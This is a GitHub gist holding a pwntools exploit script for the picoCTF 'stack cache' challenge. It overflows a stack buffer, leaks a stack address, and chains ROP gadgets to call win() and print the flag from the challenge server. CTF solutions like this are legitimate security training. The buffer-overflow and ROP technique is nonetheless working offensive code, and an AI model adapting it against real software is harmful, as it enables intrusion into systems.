Created
April 7, 2022 23:06
-
-
Save reductor/52da762abd1e81dc752f0284b8e79530 to your computer and use it in GitHub Desktop.
picoCTF : stack cache
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# -*- coding: utf-8 -*- | |
# This exploit template was generated via: | |
# $ pwn template vuln --host saturn.picoctf.net --port 58304 | |
from pwn import * | |
# Set up pwntools for the correct architecture | |
exe = context.binary = ELF('vuln') | |
# Many built-in settings can be controlled on the command-line and show up | |
# in "args". For example, to dump all data sent/received, and disable ASLR | |
# for all created processes... | |
# ./exploit.py DEBUG NOASLR | |
# ./exploit.py GDB HOST=example.com PORT=4141 | |
host = args.HOST or 'saturn.picoctf.net' | |
port = int(args.PORT or 51521) | |
def start_local(argv=[], *a, **kw): | |
'''Execute the target binary locally''' | |
if args.GDB: | |
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) | |
else: | |
return process([exe.path] + argv, *a, **kw) | |
def start_remote(argv=[], *a, **kw): | |
'''Connect to the process on the remote host''' | |
io = connect(host, port) | |
if args.GDB: | |
gdb.attach(io, gdbscript=gdbscript) | |
return io | |
def start(argv=[], *a, **kw): | |
'''Start the exploit against the target.''' | |
if args.LOCAL: | |
return start_local(argv, *a, **kw) | |
else: | |
return start_remote(argv, *a, **kw) | |
# Specify your GDB script here for debugging | |
# GDB will be launched if the exploit is run via e.g. | |
# ./exploit.py GDB | |
gdbscript = ''' | |
tbreak main | |
continue | |
'''.format(**locals()) | |
#=========================================================== | |
# EXPLOIT GOES HERE | |
#=========================================================== | |
# Arch: i386-32-little | |
# RELRO: Partial RELRO | |
# Stack: Canary found | |
# NX: NX enabled | |
# PIE: No PIE (0x8048000) | |
io = start() | |
## | |
## This value is found by sending "cyclic 200" as the payload to find the | |
## buffer overflow then get the value from the instruction pointer | |
## | |
vuln_overflow_offset = 0x61656161 | |
## | |
## Get the stack location by calling UnderConstruction() then call vuln() again | |
## so we get back to being able to exploit the binary | |
## | |
rop = ROP(exe) | |
rop.UnderConstruction() | |
rop.vuln() | |
print(rop.dump()) | |
io.sendlineafter(b'the flag', fit({vuln_overflow_offset: rop.chain()})) | |
io.recvuntil('0xff') | |
io.unrecv('0xff') | |
stack_loc = int(io.recv(10),16) | |
print('stack loc '+hex(stack_loc)) | |
## | |
## Build a rop chain which will call 'win' function and migrate the stack by +0x100 | |
## win() will put the flag on the stack when it is called if we kept executing then | |
## it would overwrite the data on the stack | |
## | |
rop = ROP(exe) | |
rop.win() | |
rop.migrate(stack_loc+0x100) | |
print(rop.dump()) | |
## | |
## Build a rop chain to be placed after the chain above, which should end up at the +0x100 | |
## offset, this will use printf to output the flag. | |
## | |
## The offset location for this was found using a search for the flag with GDB attached | |
## | |
rop2 = ROP(exe) | |
rop2.printf(stack_loc-0x20) | |
rop2.exit() | |
print(rop2.dump()) | |
## | |
## Build a payload for overflowing, we pad between the two rop chains with a bunch of | |
## 'ret' gadgets which gives more room for the +0x100 to land at if the offset is wrong | |
## | |
rop_ret = 0x0804900e | |
io.sendlineafter(b'the flag', fit({vuln_overflow_offset: rop.chain() + p32(rop_ret) * 60 + rop2.chain()})) | |
print(io.recvall()) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment